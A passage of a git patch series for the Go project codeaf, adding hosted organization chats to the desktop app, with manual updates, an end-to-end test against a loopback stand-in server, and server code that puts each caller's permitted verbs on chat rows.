+ t.Fatalf("list failed: %v", err) + } + var got struct { + Agents []appwire.Agent `json:"agents"` + Available *bool `json:"available"` + Hosting json.RawMessage `json:"hosting"` + } + if err := json.Unmarshal(raw, &got); err != nil { + t.Fatal(err) + } + if got.Agents == nil || len(got.Agents) != 0 || got.Available == nil || *got.Available != tc.available { + t.Fatalf("list = %s, want empty agents and available = %t", raw, tc.available) + } + if tc.hosting == nil { + if got.Hosting != nil { + t.Fatalf("hosting = %s, want absent", got.Hosting) + } + return + } + var hosting map[string]string + if err := json.Unmarshal(got.Hosting, &hosting); err != nil || !reflect.DeepEqual(hosting, tc.hosting) { + t.Fatalf("hosting = %s, want %v (decode: %v)", got.Hosting, tc.hosting, err) + } + }) + } +} diff --git a/cmd/codeaf/appsecret.go b/cmd/codeaf/appsecret.go index bddc17deae..ec68a5099a 100644 --- a/cmd/codeaf/appsecret.go +++ b/cmd/codeaf/appsecret.go @@ -10,6 +10,9 @@ import "github.com/Agent-Field/codeaf/internal/appwire" // and this refuses an ask that never asked for a secret, because the words of // an ordinary question go to the model. func (b *appBackend) AnswerAskSecret(agent, id, secret string) error { + if _, _, hosted := appwire.ParseHostedAgentID(agent); hosted { + return b.answerHostedAsk(agent, id, "", secret, "", true) + } a, endRead, err := b.findCrewOwner(agent) if err != nil { return err diff --git a/cmd/codeaf/apptitles.go b/cmd/codeaf/apptitles.go index 4e5adb8b9d..82b6930715 100644 --- a/cmd/codeaf/apptitles.go +++ b/cmd/codeaf/apptitles.go @@ -54,6 +54,12 @@ func (b *appBackend) titleChanged(a *appAgent, live *appLive, title string) { if current := strings.TrimSpace(live.conn.Conv.Title()); current != "" { title = current } + if live.conn.hosted != nil { + title = live.conn.hosted.door.clean(title) + if title == "" { + return + } + } if a.view.Title == title { return } diff --git a/cmd/codeaf/appwakes.go b/cmd/codeaf/appwakes.go index 7dd7d1e6c6..4a932aa9f9 100644 --- a/cmd/codeaf/appwakes.go +++ b/cmd/codeaf/appwakes.go @@ -130,7 +130,7 @@ func (b *appBackend) wokenTurn(a *appAgent, live *appLive, elsewhere appTurnElse } return } - if elsewhere.said != "" { + if a.hosted == nil && elsewhere.said != "" { // A person speaking in another window breaks the same automatic-resume // streak as a send through this app; a private wake never does. b.resetCloseResumes(id) @@ -159,7 +159,7 @@ func (b *appBackend) wokenTurn(a *appAgent, live *appLive, elsewhere appTurnElse live.msgBase, live.noteBase = msgs, notes }) } - if b.crewPaused(id) { + if a.hosted == nil && b.crewPaused(id) { // The person paused this member: the turn ends before it does anything, // and the line that woke it stays on the crew's log. live.conn.Conv.Interrupt() @@ -177,7 +177,9 @@ func (b *appBackend) wokenTurn(a *appAgent, live *appLive, elsewhere appTurnElse defer long.Stop() defer tails() b.pump(a, id, live, turn, n, elsewhere.said, nil, events) - b.sendQueued(a, live) + if a.hosted == nil { + b.sendQueued(a, live) + } } // appAnswersUnder counts the answers the transcript already holds under the From 45c43a14627fdf0435e8dc2a2ea59c2a3b6a4d6e Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 17:07:14 -0500 Subject: [PATCH 093/176] manual and change entry: the desktop organization window opens hosted chats Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2901-org-app-door.md | 11 +++++++++++ internal/manual/chat/organization-hosted-sessions.md | 10 +++++++++- internal/manual/chat/organization-start.md | 6 +++++- 3 files changed, 25 insertions(+), 2 deletions(-) create mode 100644 docs/changes/unreleased/2901-org-app-door.md diff --git a/docs/changes/unreleased/2901-org-app-door.md b/docs/changes/unreleased/2901-org-app-door.md new file mode 100644 index 0000000000..9bfe28d736 --- /dev/null +++ b/docs/changes/unreleased/2901-org-app-door.md @@ -0,0 +1,11 @@ +--- +kind: added +title: Open hosted chats in the desktop organization's window +pr: 2901 +surface: [app, engine, docs] +invalidates: + - "Opening a hosted chat on an organization's server required the terminal command. The desktop organization window can now start and reopen those chats and list any the server has shared with you." + - "An empty hosted chat list tells the desktop everything it needs to know. The list now reports whether the server offers hosted chats and carries the server's local chat policy when supplied." +--- + +Start a chat in the organization's desktop window and the conversation and its work stay on that server. Close the window and the chat keeps running there. The next open brings back its conversation. Personal continues to show chats on your computer. diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 876a7c9170..155b60333b 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -8,6 +8,14 @@ This is a different thing from `--host` and `--at`, which reach one computer tha It is off unless the organization's operator has turned it on. When it is off, the server answers `--org` the way it answers any address it does not know. Nothing about your own chats, on your own computer, changes either way. +## open, start or reopen a hosted chat in a desktop organization window + +Sign in to the organization in the desktop app and open its window. The window offers new chat only when the organization has enabled hosted chats. Its chat list shows the chats you started and any chats the server says were shared with you. In a shared chat you can use the actions your role allows, such as reading the conversation or sending messages. Use a Personal window for chats on your computer. + +The organization chooses where each chat works on its server. The desktop app creates no conversation folder on your computer for that chat. Attachments are refused with `Attachments cannot go to a chat on yet.` + +If the server is down, the app says ` is unreachable.` If your sign-in is missing or has expired, it says `Sign in to first.` + ## open a chat on the organization's server — codeaf chat --org ``` @@ -100,7 +108,7 @@ If you do not want your code on a machine the organization runs, do not open it ## what happens to a hosted chat when I disconnect — the turn goes on and I come back to it -A turn that is running on the server when you disconnect, lose the connection or kill `codeaf chat --org` goes on running there. When you open the same chat again with `codeaf chat --org`, the result is there. +A turn that is running on the server when you close its desktop window, disconnect, or quit `codeaf chat --org` goes on running there. Reopen the chat in the organization window or with `codeaf chat --org` to read the result. Stop in the desktop chat interrupts the current turn. The server's stop action below ends the chat's processes. An idle chat stops its own program after a while and starts it again, with its conversation, the next time you open it. Files stay in place the whole time. Processes you started that were still running stay running until you stop the chat. diff --git a/internal/manual/chat/organization-start.md b/internal/manual/chat/organization-start.md index a9fb3e53c0..80ca24fc72 100644 --- a/internal/manual/chat/organization-start.md +++ b/internal/manual/chat/organization-start.md @@ -1,6 +1,6 @@ # Starting an organization and Afi's set-up -## start your organization — create an organization, name it, what it does in a line +## start a new organization — create an organization, name it, and say what it does There is no hosted account and no plan to pick. An organization is a server someone runs with `codeaf factory serve`; you sign in to it in the desktop app (**Sign in to WorkAF**: a passkey first, then a password, then GitHub, as the server takes them). @@ -12,6 +12,10 @@ The first time the operator signs in to an organization nobody has set up, the a The name and the line are kept on the organization's server. Every Afi in the organization (the set-up conversation and each workstream's agent) is told them, so Afi knows what the organization does. Someone who is not the operator never sees this page; they land on Work. +## start or open a chat in your organization's desktop window + +When the organization has enabled hosted chats, open its window in the desktop app to start a chat there or reopen one from the window's chat list. Your conversation and the work it runs stay on the organization's server. Closing the window leaves the chat running there. See [Chats that run on the organization's server](organization-hosted-sessions.md) for sharing, sign-in and limits. + ## Afi sets up the organization — one card, workstreams, teams and invites in one press After **Create**, Afi asks: "What is on your plate this month? Tell me the way you would tell a new colleague." Answer in a few sentences, with the people and their emails if you have them. From ff36a523687c118eb8fc4c781a0287386bc4c701 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 17:07:52 -0500 Subject: [PATCH 094/176] change entry: the pull request number Co-Authored-By: Claude Sonnet 5.5 --- .../unreleased/{2901-org-app-door.md => 2904-org-app-door.md} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename docs/changes/unreleased/{2901-org-app-door.md => 2904-org-app-door.md} (98%) diff --git a/docs/changes/unreleased/2901-org-app-door.md b/docs/changes/unreleased/2904-org-app-door.md similarity index 98% rename from docs/changes/unreleased/2901-org-app-door.md rename to docs/changes/unreleased/2904-org-app-door.md index 9bfe28d736..b29490501e 100644 --- a/docs/changes/unreleased/2901-org-app-door.md +++ b/docs/changes/unreleased/2904-org-app-door.md @@ -1,7 +1,7 @@ --- kind: added title: Open hosted chats in the desktop organization's window -pr: 2901 +pr: 2904 surface: [app, engine, docs] invalidates: - "Opening a hosted chat on an organization's server required the terminal command. The desktop organization window can now start and reopen those chats and list any the server has shared with you." From 68e94379142114b73b7fadf65d9af666a5213ffb Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 19:02:31 -0500 Subject: [PATCH 095/176] org: one real-binary proof that the desktop app opens hosted chats on an organization Drive the built codeaf app over its JSON lines against a stand-in organization server whose chat wire is bridged to a real codeaf engine with a scripted model. It starts a hosted chat from the organization's connection and reads back the engine's own answer, keeps the chat out of the local list and the local places tree, closes it without stopping it, reopens it on the same app and after an app restart, and shows one plain sentence, with nothing started locally, for a dead server and for a revoked sign-in. Co-Authored-By: Claude Sonnet 5.5 --- internal/e2e/org_app_door_e2e_test.go | 440 ++++++++++++++++++++++++++ 1 file changed, 440 insertions(+) create mode 100644 internal/e2e/org_app_door_e2e_test.go diff --git a/internal/e2e/org_app_door_e2e_test.go b/internal/e2e/org_app_door_e2e_test.go new file mode 100644 index 0000000000..556a5178bf --- /dev/null +++ b/internal/e2e/org_app_door_e2e_test.go @@ -0,0 +1,440 @@ +//go:build e2e + +package e2e + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "io" + "io/fs" + "net/http" + "net/http/httptest" + "net/url" + "os" + "path/filepath" + "slices" + "strings" + "sync" + "testing" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/appwire" + "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/session" +) + +const ( + orgAppSessions = "/v1/hosted/sessions" + orgAppSession = "hs_0123456789abcdef01234567" + orgAppToken = "org-app-door-stub-token" + orgAppQuestion = "hello hosted" + orgAppReply = "ok" + orgAppRefusal = `{"error":"Sign in again."}` + orgAppCallWait = 30 * time.Second +) + +// TestOrgAppDoorE2E drives codeaf app over JSON lines so agents.entries must +// return the hosted engine's exact scripted answer "ok" after the app restarts. +func TestOrgAppDoorE2E(t *testing.T) { + bin := binary(t) + home, login := t.TempDir(), t.TempDir() + t.Chdir(login) + t.Setenv("CODEAF_HOME", home) + // The durability brain answers a turn outside its probe script with "ok". + brain := newBrain(t) + server := newOrgAppServer(t, bin, brain.url()) + env := orgAppEnv(t, home, login, brain.url()) + start := func() *fleEngine { + logDir := t.TempDir() + app := startFLEEngine(t, bin, home, env, logDir) + t.Cleanup(func() { + if stderr, ok := app.cmd.Stderr.(*os.File); ok { + _ = stderr.Close() + } + if t.Failed() { + if stderr, err := os.ReadFile(filepath.Join(logDir, "engine.stderr")); err == nil && len(stderr) > 0 { + t.Logf("codeaf app stderr:\n%s", stderr) + } + } + }) + return app + } + app := start() + defer func() { + if app != nil { + app.close() + } + }() + + connection := orgAppAttach(t, app, server) + t.Logf("factory.attach returned connection %q with state %q", connection.ID, connection.State) + places := orgAppPlaces(t) + type agentResult struct{ Agent appwire.Agent } + created := orgAppCall[agentResult](t, app, "agents.create", appwire.CreateAsk{ + Org: connection.ID, Text: orgAppQuestion, ClientID: "org-app-door-first-turn", + }).Agent + remoteID, org, ok := appwire.ParseHostedAgentID(created.ID) + if !ok || remoteID != orgAppSession || org != connection.ID || created.Hosted == nil || created.Hosted.Org != connection.ID { + t.Fatalf("agents.create returned id %q and hosted facts %+v, want hosted session %q on %q", created.ID, created.Hosted, orgAppSession, connection.ID) + } + orgAppWaitForTurn(t, app, created.ID) + orgAppCheckHistory(t, app, created.ID) + t.Logf("agents.entries returned answer %q after %q", orgAppReply, orgAppQuestion) + + listParams := map[string]string{"org": connection.ID} + orgAppCheckLocal(t, app, places) + hosted := orgAppCall[appwire.HostedListResult](t, app, "agents.hosted_list", listParams) + if !hosted.Available || len(hosted.Agents) != 1 || hosted.Agents[0].ID != created.ID { + t.Fatalf("agents.hosted_list = %+v, want available = true and hosted id %q", hosted, created.ID) + } + if facts := hosted.Agents[0].Hosted; facts == nil || !slices.Equal(facts.Verbs, acl.Verbs) { + t.Fatalf("agents.hosted_list returned hosted facts %+v, want owner verbs %v", facts, acl.Verbs) + } + orgAppCheckRequests(t, server, 1) + t.Logf("agents.hosted_list returned available = true and owner verbs %v, with one POST %s and unchanged local places", acl.Verbs, orgAppSessions) + + id := appwire.IDParams{ID: created.ID} + orgAppCall[appwire.Empty](t, app, "agents.close", id) + orgAppCheckRequests(t, server, 1) + if opened := orgAppCall[agentResult](t, app, "agents.open", id).Agent; opened.ID != created.ID { + t.Fatalf("agents.open on the same app returned id %q, want %q", opened.ID, created.ID) + } + orgAppCheckRequests(t, server, 2) + orgAppCheckHistory(t, app, created.ID) + app.close() + app = nil + app = start() + if attached := orgAppAttach(t, app, server); attached.ID != connection.ID { + t.Fatalf("factory.attach after app restart returned id %q, want %q", attached.ID, connection.ID) + } + if opened := orgAppCall[agentResult](t, app, "agents.open", id).Agent; opened.ID != created.ID { + t.Fatalf("agents.open after app restart returned id %q, want %q", opened.ID, created.ID) + } + orgAppCheckHistory(t, app, created.ID) + orgAppCheckRequests(t, server, 3) + t.Logf("agents.entries returned answer %q on both reopens, with three wire upgrades, one create, and zero stops or deletes", orgAppReply) + + address, err := url.Parse(server.http.URL) + if err != nil { + t.Fatal(err) + } + server.close() + unreachable := address.Hostname() + " is unreachable." + orgAppCheckError(t, app, "agents.hosted_list", listParams, appwire.CodeUnreachable, unreachable) + orgAppCheckError(t, app, "agents.create", listParams, appwire.CodeUnreachable, unreachable) + orgAppCheckLocal(t, app, places) + t.Logf("agents.hosted_list and agents.create returned %q / %q and left local places unchanged", appwire.CodeUnreachable, unreachable) + + revoked := newOrgAppServer(t, bin, brain.url()) + revokedConnection := orgAppAttach(t, app, revoked) + revoked.mu.Lock() + revoked.revoked = true + revoked.mu.Unlock() + signIn := "Sign in to " + address.Hostname() + " first." + orgAppCheckError(t, app, "agents.hosted_list", map[string]string{"org": revokedConnection.ID}, appwire.CodeSignedOut, signIn) + if got := revoked.count("GET " + orgAppSessions); got != 1 { + t.Fatalf("revoked server saw %d GET %s requests, want 1", got, orgAppSessions) + } + t.Logf("agents.hosted_list returned %q / %q for HTTP 401 %s", appwire.CodeSignedOut, signIn, orgAppRefusal) +} + +type orgAppServer struct { + http *httptest.Server + cancelWire context.CancelFunc + + mu sync.Mutex + seen []string + created bool + revoked bool + wireMu sync.Mutex +} + +func newOrgAppServer(t *testing.T, bin, modelURL string) *orgAppServer { + t.Helper() + fake := &orgAppServer{} + home, login, workspace := t.TempDir(), t.TempDir(), t.TempDir() + env := append(orgAppEnv(t, home, login, modelURL), "OPENAI_API_KEY=stub", "CODEAF_MODEL="+durabilityModel) + orgAppPinModels(t, home) + wireCtx, cancel := context.WithCancel(context.Background()) + fake.cancelWire = cancel + fake.http = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + request := r.Method + " " + r.URL.Path + fake.mu.Lock() + fake.seen = append(fake.seen, request) + revoked, created := fake.revoked, fake.created + fake.mu.Unlock() + // The address a person pastes is probed before any sign-in exists, so the discovery answer is public. + if request == "GET /v1/about" { + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(map[string]any{"contract": 1, "name": "Hosted chat fixture"}) + return + } + authorized := r.Header.Get("Authorization") == "Bearer "+orgAppToken + if !authorized || revoked { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusUnauthorized) + _, _ = io.WriteString(w, orgAppRefusal) + if !authorized { + t.Errorf("organization %s lacked the expected bearer and returned HTTP 401 %s", request, orgAppRefusal) + } + return + } + if request == "GET "+orgAppSessions+"/"+orgAppSession+"/wire" && created { + // One pipe engine at a time can own the conversation in this home. + fake.wireMu.Lock() + defer fake.wireMu.Unlock() + orgAppBridge(t, wireCtx, w, r, bin, home, workspace, env) + return + } + w.Header().Set("Content-Type", "application/json") + row := map[string]string{"id": orgAppSession, "state": "running"} + var result any + switch request { + case "GET /v1/about": + result = map[string]any{"contract": 1, "name": "Hosted chat fixture"} + case "GET /v1/me": + result = map[string]any{"handle": "owner", "mode": "team", "factory": map[string]string{"name": "Hosted chat fixture"}} + case "GET " + orgAppSessions: + sessions := []map[string]string{} + if created { + sessions = append(sessions, row) + } + result = map[string]any{"sessions": sessions, "shared": []any{}, "hosting": map[string]string{"local_sessions": "allow"}} + case "POST " + orgAppSessions: + fake.mu.Lock() + fake.created = true + fake.mu.Unlock() + result = row + default: + http.NotFound(w, r) + return + } + _ = json.NewEncoder(w).Encode(result) + })) + t.Cleanup(fake.close) + return fake +} + +func (f *orgAppServer) close() { + f.cancelWire() + f.http.Close() + // A hijacked WebSocket is outside httptest's own shutdown wait. + f.wireMu.Lock() + f.wireMu.Unlock() +} + +func (f *orgAppServer) count(request string) int { + f.mu.Lock() + defer f.mu.Unlock() + count := 0 + for _, got := range f.seen { + if got == request { + count++ + } + } + return count +} + +func orgAppBridge(t *testing.T, parent context.Context, w http.ResponseWriter, r *http.Request, bin, home, workspace string, env []string) { + t.Helper() + ws, err := websocket.Accept(w, r, nil) + if err != nil { + t.Errorf("accept hosted wire: %v", err) + return + } + defer ws.CloseNow() + ctx, cancel := context.WithTimeout(parent, 3*time.Minute) + defer cancel() + tunnel := websocket.NetConn(ctx, ws, websocket.MessageBinary) + ws.SetReadLimit(4 << 20) + var stderr bytes.Buffer + cmd := guardedCommand(t, ctx, home, env, bin, "engine", "--no-host", "--workspace", workspace) + cmd.Dir, cmd.Stdout, cmd.Stderr, cmd.WaitDelay = workspace, tunnel, &stderr, 5*time.Second + stdin, err := cmd.StdinPipe() + if err != nil { + t.Errorf("hosted engine stdin: %v", err) + return + } + defer stdin.Close() + if err := cmd.Start(); err != nil { + t.Errorf("start hosted engine: %v", err) + return + } + inputDone := make(chan struct{}) + go func() { + defer close(inputDone) + defer stdin.Close() + _, _ = io.Copy(stdin, tunnel) + }() + err = cmd.Wait() + _ = ws.CloseNow() + <-inputDone + if err != nil && ctx.Err() == nil { + t.Logf("codeaf engine exited with %v\n%s", err, stderr.Bytes()) + } +} + +func orgAppEnv(t *testing.T, home, login, modelURL string) []string { + t.Helper() + // The guarded child receives only these settings so the test uses the + // loopback model and keeps profile, transfer, and update work isolated. + env := []string{ + "HOME=" + login, "CODEAF_HOME=" + home, "TMPDIR=" + t.TempDir(), + "CODEAF_TELEMETRY=off", "DO_NOT_TRACK=1", "CODEAF_NO_UPDATE_CHECK=1", + "CODEAF_SYNC_URL=off", "CODEAF_MODEL_POOL=off", "CODEAF_BASE_URL=" + modelURL, + } + if furrow := os.Getenv("CODEAF_FURROW"); furrow != "" { + env = append(env, "CODEAF_FURROW="+furrow) + } + return env +} + +func orgAppPinModels(t *testing.T, home string) { + t.Helper() + rows := map[string]any{"model.plan": durabilityModel, config.KeyModelPool: "off", config.KeyDailyBudget: 0} + for _, key := range []string{ + config.KeyChatModel, config.KeyTaskModel, config.KeyModelFallbacks, + config.KeyTierWorkerModel, config.KeyTierLowModel, config.KeyTierHighModel, + config.KeyTierReflexModel, config.KeyTierMastermindModel, + } { + rows[key] = durabilityModel + } + var pins []string + for _, role := range textRoles { + pins = append(pins, string(role)+":"+durabilityModel) + } + rows[config.KeyModelRoles] = strings.Join(pins, ",") + raw, err := json.Marshal(rows) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(home, "config.json"), raw, 0o600); err != nil { + t.Fatal(err) + } +} + +func orgAppCall[T any](t *testing.T, app *fleEngine, method string, params any) T { + t.Helper() + raw, err := app.call(method, params, orgAppCallWait) + if err != nil { + t.Fatal(err) + } + var result T + if err := json.Unmarshal(raw, &result); err != nil { + t.Fatalf("decode %s result %s: %v", method, raw, err) + } + return result +} + +func orgAppAttach(t *testing.T, app *fleEngine, server *orgAppServer) appwire.FactoryConnection { + t.Helper() + result := orgAppCall[appwire.FactoryConnection](t, app, "factory.attach", appwire.FactoryAttachParams{URL: server.http.URL, Token: orgAppToken}) + if result.ID == "" || result.State != appwire.FactoryOK { + t.Fatalf("factory.attach returned id %q and state %q, want a connection with state %q", result.ID, result.State, appwire.FactoryOK) + } + return result +} + +func orgAppWaitForTurn(t *testing.T, app *fleEngine, id string) { + t.Helper() + deadline := time.NewTimer(orgAppCallWait) + defer deadline.Stop() + tick := time.NewTicker(25 * time.Millisecond) + defer tick.Stop() + for { + raw, err := os.ReadFile(app.events.Name()) + if err != nil { + t.Fatal(err) + } + for _, line := range bytes.Split(raw, []byte{'\n'}) { + var event struct { + Name string `json:"event"` + Data appwire.TurnDone `json:"data"` + } + if json.Unmarshal(line, &event) == nil && event.Name == appwire.EventTurnDone && event.Data.Agent == id { + if !event.Data.OK { + t.Fatalf("%s for %q failed: %s", event.Name, id, event.Data.Error) + } + return + } + } + select { + case <-tick.C: + case <-app.dead: + t.Fatalf("codeaf app exited while waiting for %s for %q", appwire.EventTurnDone, id) + case <-deadline.C: + t.Fatalf("no %s event for %q within %s", appwire.EventTurnDone, id, orgAppCallWait) + } + } +} + +func orgAppCheckHistory(t *testing.T, app *fleEngine, id string) { + t.Helper() + page := orgAppCall[appwire.EntriesResult](t, app, "agents.entries", appwire.EntriesParams{ID: id}) + question, answer := false, false + for _, entry := range page.Entries { + question = question || (entry.Kind == appwire.EntryUser && entry.Text == orgAppQuestion) + answer = answer || (entry.Kind == appwire.EntryAnswer && entry.Text == orgAppReply) + } + if !question || !answer { + t.Fatalf("agents.entries = %+v, want user %q and answer %q", page.Entries, orgAppQuestion, orgAppReply) + } +} + +func orgAppPlaces(t *testing.T) []string { + t.Helper() + root := session.PlacesRoot() + var names []string + err := filepath.WalkDir(root, func(path string, _ fs.DirEntry, err error) error { + if path == root && errors.Is(err, fs.ErrNotExist) { + return nil + } + if err == nil && path != root { + names = append(names, strings.TrimPrefix(path, root+string(filepath.Separator))) + } + return err + }) + if err != nil { + t.Fatal(err) + } + return names +} + +func orgAppCheckLocal(t *testing.T, app *fleEngine, places []string) { + t.Helper() + local := orgAppCall[appwire.AgentsResult](t, app, "agents.list", appwire.AgentsListParams{State: "all"}) + if len(local.Agents) != 0 { + t.Fatalf("agents.list = %+v, want an empty local list", local.Agents) + } + if got := orgAppPlaces(t); !slices.Equal(got, places) { + t.Fatalf("local places entries = %q, want unchanged %q", got, places) + } +} + +func orgAppCheckRequests(t *testing.T, server *orgAppServer, wires int) { + t.Helper() + for request, want := range map[string]int{ + "POST " + orgAppSessions: 1, + "GET " + orgAppSessions + "/" + orgAppSession + "/wire": wires, + "POST " + orgAppSessions + "/" + orgAppSession + "/stop": 0, + "DELETE " + orgAppSessions + "/" + orgAppSession: 0, + } { + if got := server.count(request); got != want { + t.Errorf("organization saw %d %s requests, want %d", got, request, want) + } + } +} + +func orgAppCheckError(t *testing.T, app *fleEngine, method string, params any, code, message string) { + t.Helper() + result, err := app.call(method, params, orgAppCallWait) + var wireErr *fleWireError + if !errors.As(err, &wireErr) || wireErr.Code != code || wireErr.Message != message { + t.Fatalf("%s returned result %s and error %v, want %q / %q", method, result, err, code, message) + } +} From 527bf1fb120c9ea392e08bd2aeb18e3397bf7437 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 21:01:39 -0500 Subject: [PATCH 096/176] org: the server's hosted chat rows carry the asker's verbs Every row of the hosted list (the caller's own and shared) and the answer that makes a chat now name the verbs the caller holds on that chat, decided by the same function the guest's wire re-reads every heartbeat, so a row and the wire cannot come from two readings of the policy. A bot's rows hold its person's verbs narrowed by its scope. An operator-only row holds none, and a verbs field the chats' host wrote is replaced. The wire's enforcement is unchanged. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 6 +- internal/factory/serve/hosted_access.go | 47 ++++- internal/factory/serve/hosted_p2_test.go | 55 +++-- internal/factory/serve/hosted_proxy.go | 6 +- .../factory/serve/hosted_row_verbs_test.go | 199 ++++++++++++++++++ 5 files changed, 285 insertions(+), 28 deletions(-) create mode 100644 internal/factory/serve/hosted_row_verbs_test.go diff --git a/deploy/org/README.md b/deploy/org/README.md index 29fef31485..88acc1c268 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -229,7 +229,11 @@ right to a private chat than anyone else (the policy's `operator.sees_private` i client's `--org` pick is unchanged), `shared` (chats of other people the caller may open: `id`, `owner`, `role`, `access`, `state`, `created`, `last_active`, and nothing about the model access or warnings; the operator's rows, only for a chat the policy keeps from being private, hold the same without `role` and have `access: operator`) and - `hosting` (`local_sessions`, below). + `hosting` (`local_sessions`, below). Every row of `sessions` and `shared` also carries `verbs`: what the policy + gives the caller in that chat right now, in the order of the policy's verbs, decided the way the guest's wire + decides it (an operator-only row holds none, and the answer to `POST /v1/hosted/sessions` carries the same field + for the chat just made). A client shows its controls from `verbs` and works nothing out from a role's name, since + the roles are the organization's to change; the wire still refuses what the caller does not hold. - **Sharing** is the generic route: `POST /v1/resources/session//grants` with a person, a team or the organization and a role, and `DELETE .../grants/`. Share, revoke and a change of the policy publish `resource.changed` events to the audience as it stood before and as it stands after. diff --git a/internal/factory/serve/hosted_access.go b/internal/factory/serve/hosted_access.go index 89ecc6219a..1916bc7fda 100644 --- a/internal/factory/serve/hosted_access.go +++ b/internal/factory/serve/hosted_access.go @@ -157,15 +157,42 @@ type hostedSharedRow struct { Owner string `json:"owner"` Role *string `json:"role,omitempty"` Access string `json:"access"` + // Verbs is what the asker may do in the chat under the policy as it stands now. + Verbs []string `json:"verbs"` +} + +// hostedVerbsOn lists in the order of acl.Verbs what v may do in a hosted chat now. It is the +// guest wire's own decision (hostedGuestVerbs, which the wire re-reads every heartbeat), so a +// list row and the wire cannot come from two readings of the policy, and a client that shows +// controls from the row never shows one the wire's table would refuse. An owner whose policy +// still holds run is attached by the byte-for-byte proxy, which has no table; the row still +// names only what the policy gives that owner, so a row never claims more than the policy does. +func hostedVerbsOn(v Viewer, item Item) []string { + return hostedGuestVerbs(v, item).List() +} + +// hostedWithVerbs sets the verbs of one chat row the chats' host wrote and leaves every other +// field as it was. The host never decides access, so a verbs field of its own is overwritten. +func hostedWithVerbs(row []byte, verbs []string) []byte { + var fields map[string]json.RawMessage + if json.Unmarshal(row, &fields) != nil || fields == nil { + return row + } + fields["verbs"], _ = json.Marshal(verbs) + out, err := json.Marshal(fields) + if err != nil { + return row + } + return out } // hostedMetadata shows an operator-only row without a role because an operator's metadata access does not open the chat. func hostedMetadata(v Viewer, item Item) hostedSharedRow { v = hostedWithoutOperator(v) - row := hostedSharedRow{Owner: item.Owner.ID, Access: "operator"} - if can(v, item, acl.VerbView) { + row := hostedSharedRow{Owner: item.Owner.ID, Access: "operator", Verbs: []string{}} + if verbs := hostedGuestVerbs(v, item); verbs.Has(acl.VerbView) { role := roleOf(v, item) - row.Role, row.Access = &role, "shared" + row.Role, row.Access, row.Verbs = &role, "shared", verbs.List() } return row } @@ -184,6 +211,9 @@ func (h *Handler) hostedOwnList(w http.ResponseWriter, r *http.Request, v Viewer return own, nil, false } st := h.config.Store + // The server that runs chats is always started with its store, which holds the policy. A + // handler built without one has no policy to read and relays the host's rows as they came, + // and a client reads a row with no verbs as view only. if st == nil || status != http.StatusOK { hostedRelay(w, status, header, body) return own, nil, false @@ -219,13 +249,14 @@ func (h *Handler) hostedOwnList(w http.ResponseWriter, r *http.Request, v Viewer return own, nil, false } } - if hostedRegistration(row) && row.Owner.ID == v.Handle && can(v, h.resourceItem(row, factory.OrgWorkstream{}), acl.VerbView) { - kept = append(kept, raw) + if !hostedRegistration(row) || row.Owner.ID != v.Handle { + continue + } + if item := h.resourceItem(row, factory.OrgWorkstream{}); can(v, item, acl.VerbView) { + kept = append(kept, hostedWithVerbs(raw, hostedVerbsOn(v, item))) } } - if len(kept) != len(rows) { - own.Sessions, _ = json.Marshal(kept) - } + own.Sessions, _ = json.Marshal(kept) return own, others, true } diff --git a/internal/factory/serve/hosted_p2_test.go b/internal/factory/serve/hosted_p2_test.go index 10ba727972..5bc86778ce 100644 --- a/internal/factory/serve/hosted_p2_test.go +++ b/internal/factory/serve/hosted_p2_test.go @@ -27,6 +27,15 @@ func hostedGrant(t *testing.T, rg *hostedRig, owner, chat, guest, role string) a return grant } +// verbsJSON is a list of verbs as a JSON decoder reads it back into an untyped row. +func verbsJSON(verbs ...string) []any { + out := make([]any, 0, len(verbs)) + for _, verb := range verbs { + out = append(out, verb) + } + return out +} + // P2-1 // A private chat appears only to its owner and its current grantees. func TestP2_1_PrivateHostedChatsAndEvents(t *testing.T) { @@ -108,9 +117,9 @@ func TestP2_2_HostedListKeepsOwnRowsAndLimitsSharedMetadata(t *testing.T) { operatorRow := rg.create(t, "santosh") type listing struct { - Sessions []map[string]string `json:"sessions"` - Shared []map[string]string `json:"shared"` - Hosting map[string]string `json:"hosting"` + Sessions []map[string]any `json:"sessions"` + Shared []map[string]any `json:"shared"` + Hosting map[string]string `json:"hosting"` } read := func(who string) listing { t.Helper() @@ -142,39 +151,49 @@ func TestP2_2_HostedListKeepsOwnRowsAndLimitsSharedMetadata(t *testing.T) { if err := json.Unmarshal(resp.Body.Bytes(), &original); err != nil { t.Fatal(err) } - if !reflect.DeepEqual(got.Sessions, original.Sessions) || len(got.Sessions) != 1 || got.Sessions[0]["id"] != mine { + // The caller's own rows are the host's rows with the caller's verbs added, and nothing else changed. + if len(got.Sessions) != 1 || got.Sessions[0]["id"] != mine || !reflect.DeepEqual(got.Sessions[0]["verbs"], verbsJSON(acl.Verbs...)) { t.Fatalf("own list = %+v, host list = %+v", got.Sessions, original.Sessions) } - metadata := func(id, owner, access, role string) map[string]string { - row := map[string]string{"id": id, "owner": owner, "access": access, "state": "suspended", - "created": "2026-11-24T00:00:00Z", "last_active": "2026-11-24T00:01:00Z"} + delete(got.Sessions[0], "verbs") + if !reflect.DeepEqual(got.Sessions, original.Sessions) { + t.Fatalf("own list = %+v, host list = %+v", got.Sessions, original.Sessions) + } + editVerbs := []string{"view", "comment", "edit", "run", 